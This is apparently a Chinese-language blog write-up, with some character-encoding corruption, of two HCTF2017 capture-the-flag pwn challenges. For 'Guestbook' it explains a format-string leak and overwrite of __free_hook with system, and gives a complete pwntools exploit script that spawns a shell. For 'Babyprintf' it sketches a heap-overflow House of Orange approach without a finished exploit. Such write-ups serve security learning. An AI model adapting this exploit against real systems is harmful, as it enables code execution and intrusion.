HCTF2017 Level2的兩道pwn題

0x00 一些歪道理

比賽時pwn是肯定pwn不出來的,只有靠賽后復(fù)現(xiàn)才能夠勉強維持得了尊嚴。不過確實能學(xué)到一些知識啊~

0x01 Guestbook

  • 題目信息
    該題目是一個Linux下32位的動態(tài)鏈接可執(zhí)行文件并且checksec顯示開了所有的保護機制。程序有add、see、del三個功能,能夠增加客人、查看客人、刪除客人。

    checksec

  • 漏洞位置
    通過ida反匯編分析可得到數(shù)據(jù)結(jié)構(gòu)如下:

struct guest{
    int a;    //我也不知道這是啥反正永遠那都是1
    char name[32];
    struct *heap_ptr;
}
struct heap_ptr{
    char phone[16];
}    //malloc了大小為16的空間用于存放phone

并且最多add10個guest,在see功能處有明顯的格式化字符串漏洞,在del時會將name域請零,并且將heap_ptr指向phone的指針給free掉。

漏洞位置

  • 利用思路
    由于保護機制全開,首先需要利用格式化字符串leak程序及libc基址,但是got表不可寫,常用的格式化字符串寫got表思路不可取。而在調(diào)用del時會調(diào)用free(heap_ptr),進而出發(fā)觸發(fā)free_hook。若將free_hook劫持為system函數(shù),heap_ptr指向/bin/sh字符串,則可起shell。

hook
一些函數(shù)存在hook指針供調(diào)試使用(如free、malloc等),通常為空指針,若hook值不為空,則在調(diào)用該函數(shù)之前先調(diào)用hook中的函數(shù)。

  • My-exp
from pwn import *
local = 1
if local:
    p = process('./guestbook')
    libc = ELF('/lib32/libc-2.23.so')
    gdb.attach(p , open('aa'))
else:
    p = remote('47.100.64.171' , 20002)#nc 47.100.64.171 20002
    libc = ELF('./libc.so.6')

def add(name):
    p.recv(1024)
    p.sendline('1')
    p.recvuntil('name?\n')
    p.sendline(name)
    p.recvuntil('phone?\n')
    p.sendline('1234567812345678')

def see(index):
    p.recv(1024)
    p.sendline('2')
    p.recvuntil('index:\n')
    p.sendline(index)
    p.recvuntil('name:')
    ret = p.recvuntil('\n')[:-1]
    return ret

def dele(index):
    p.recv(1024)
    p.sendline('3')
    p.recvuntil('index:\n')
    p.sendline(index)
    p.recvuntil('\n')

elf = ELF('./guestbook')

#step1 use fsb to leak libc & elf base by the way find some func addr
add('%p-%3$p')
leak = see('0')
elf.address = int(leak.split('-')[0] , 16) - 0xe3a
libc.address = int(leak.split('-')[1] , 16) - 0x1b0da7
system_addr = libc.symbols['system']
binsh_addr = libc.search('/bin/sh').next()
free_hook = libc.address + 0x1b18b0
heap_ptr = elf.address + 0x3064
log.info('elf_addr => ' + hex(elf.address))
log.info('libc_addr => ' + hex(libc.address))
log.info('system_addr => ' + hex(system_addr))
log.info('binsh_addr => ' + hex(binsh_addr))
log.info('free_hook => ' + hex(free_hook))

#step2 write free_hook with system
for i in range(4):
    length = ord(p32(system_addr)[i])
    payload = 'aaa' + p32(free_hook + i)
    payload += '%' + str(length - len(payload)) + 'c%8$hhn'
    add(payload)
    see(str(i + 1))

#step3 write heap_ptr with binsh
for i in range(4):
    length = ord(p32(binsh_addr)[i])
    payload = 'aaa' + p32(heap_ptr + i)
    payload += '%' + str(length - len(payload)) + 'c%8$hhn'
    add(payload)
    see(str(i + 5))

#step4 call free(heap_ptr) -> free_hook(heap_ptr) -> system('/bin/sh')
p.recvuntil("choice:")
p.sendline('3')
p.sendline('0')

p.interactive()

0x02 Babyprintf

  • 題目信息
    該題目是一個Linux下64位的動態(tài)鏈接可執(zhí)行文件并且checksec顯示開了所有的保護機制。能夠自己定義size大小,輸入string得到result然后一直循環(huán)這個過程。

    checksec

  • 漏洞位置
    用ida分析,整個程序簡潔明了,功能完善,短小精悍,實乃精品。在size處我們可以申請任意長度的堆地址;string是通過gets進堆的,存在堆溢出漏洞;打印result時存在格式化字符串漏洞。

    漏洞位置

  • 利用思路
    然鵝本程序開了FORTIFY保護機制,該機制引入了__printf_chk函數(shù),導(dǎo)致你在使用%a$p時需要同時使用%(1到a)$p才可以,并且禁用了%n,所以利用格式化字符串寫的這條路基本被pass掉,只有可能進行一些簡單的leak。所以只有堆溢出可以嘗試一下,卻只有malloc而沒有free,幾乎玩不起來。在網(wǎng)上搜到了當時Hitcon2016House of Orange的利用技巧,參考了兩篇文章:創(chuàng)造奇跡的Top Chunk以及ctf-HITCON-2016-houseoforange學(xué)習(xí)。利用堆溢出將top chunk修改為滿足下列條件的值后,再次mallocfake top chunk更大的空間時將會創(chuàng)建一個新的堆塊并調(diào)用init_free舊堆塊中的fake top chunkfree掉,即可利用此機制構(gòu)造fake top chunk size實現(xiàn)fastbin attackunsort bin attack

觸發(fā)_init_free的條件
1.大于MINSIZE(0X10)
2.小于所需的大小 + MINSIZE
3.prev inuse位設(shè)置為1
4.old_top + oldsize要在一個頁中.


在努力擠時間復(fù)現(xiàn)中……

大致原理懂了,但是exp還沒出來

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容